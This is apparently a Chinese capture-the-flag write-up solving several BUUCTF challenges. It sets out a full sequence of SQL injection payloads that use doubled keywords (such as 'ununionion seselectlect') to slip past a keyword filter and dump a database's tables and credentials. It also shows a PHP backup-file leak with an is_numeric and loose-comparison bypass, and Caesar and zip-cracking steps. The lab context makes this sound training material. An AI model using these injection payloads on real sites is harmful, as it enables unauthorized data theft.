BUUCTF-sql双写绕过

WEB

[极客大挑战 2019]BabySQL

打开环境 查看什么类型

输入

输入1'
username='1''&password='1''

BUUCTF-sql双写绕过_第1张图片

字符型

我们开始尝试万能密码

1' or 1=1-- +

BUUCTF-sql双写绕过_第2张图片

 BUUCTF-sql双写绕过_第3张图片

发现返回的东西和我们输入不一样  or没了

过滤了or 

这个是关键 我们使用双写绕过

1' oorr 1=1-- +

BUUCTF-sql双写绕过_第4张图片

 得到了账号密码

我们开始sql注入

1. 字段数

username=admin&password=''1' order by 4-- +''

BUUCTF-sql双写绕过_第5张图片

 发现or 过滤了 我们看看

1' oorrder by 4-- +

BUUCTF-sql双写绕过_第6张图片

还是报错 我们接着看看是不是过滤了 by 因为如果过滤了der 他会返回or

1' oorrder bbyy 4-- +

BUUCTF-sql双写绕过_第7张图片

成功了 三个字段

我们开始爆破数据库

0' union select 1,2,database()-- +    报错'1,2,database()-- '

0' ununion select 1,2,database()-- +   报错'un 1,2,database()-- ''

0' ununionion seselectlect 1,2,database()-- +

BUUCTF-sql双写绕过_第8张图片

得到数据库名 geek

开始爆表

0' ununionion seselectlect 1,2,group_concat(table_name)frfromom infoorrmation_schema.tables whwhereere table_schema='geek'-- +

经过尝试 union select  or from where 都过滤了 

BUUCTF-sql双写绕过_第9张图片

开始爆数据

0' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'-- +


0' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name='geekuser'-- +

BUUCTF-sql双写绕过_第10张图片

都是返回这些名

0' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd)frfromom geek.b4bsql-- +

得到flag

[ACTF2020 新生赛]BackupFile

打开环境

BUUCTF-sql双写绕过_第11张图片

让我们找源文件 

我们想到

index.php.bak

BUUCTF-sql双写绕过_第12张图片

下载成功

我们得到备份文件

这里就得到绕过两个 一个是is_numeric() 另一个是==

!is_numeric():
如果为数字或者数字字符串 True
如果不是 返回 false
!0=1
所以我们需要这个是数字或者数字字符串


==
'123a'==123 True

这样就很简单了

key=123



123为数字 所以
!is_numeric() 绕过


因为==弱比较
所以

123=123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3 true

BUUCTF-sql双写绕过_第13张图片

得到flag

Crypto

Alice与Bob

BUUCTF-sql双写绕过_第14张图片

 http://www.jsons.cn/quality/

BUUCTF-sql双写绕过_第15张图片

 合并

101999966233

CTF在线工具-哈希计算|MD5、SHA1、SHA256、SHA384、SHA512、RIPEMD、RIPEMD160

进行MD5计算

BUUCTF-sql双写绕过_第16张图片

 大帝的密码武器

下载得到题目和密文 意思就是让我们解密题目 然后取得偏移量 然后在加密密文

str1 = 'FRPHEVGL'
str2 = str1.lower()
num = 1
for i in range(26):
    print("{:<2d}".format(num),end = ' ')
    for j in str2:
        if(ord(j)+num > ord('z')):
            print(chr(ord(j)+num-26),end='')
        else:
            print(chr(ord(j)+num),end='')
    num += 1
    print('')

使用代码取得26次的解密

BUUCTF-sql双写绕过_第17张图片

偏移量为13 的时候得到单词 

我们把密文加密 偏移量为13

提交flag

Misc

ningen

改后缀 为zip

暴力破解

小明的保险箱

同理

爱因斯坦

下载文件 查看属性

BUUCTF-sql双写绕过_第18张图片

 提到password 说明加密

我们改后缀

BUUCTF-sql双写绕过_第19张图片

 没有提示 只有刚刚的那个not password 试一试

BUUCTF-sql双写绕过_第20张图片

得到flag

你可能感兴趣的:(BUUctf,java,html,服务器)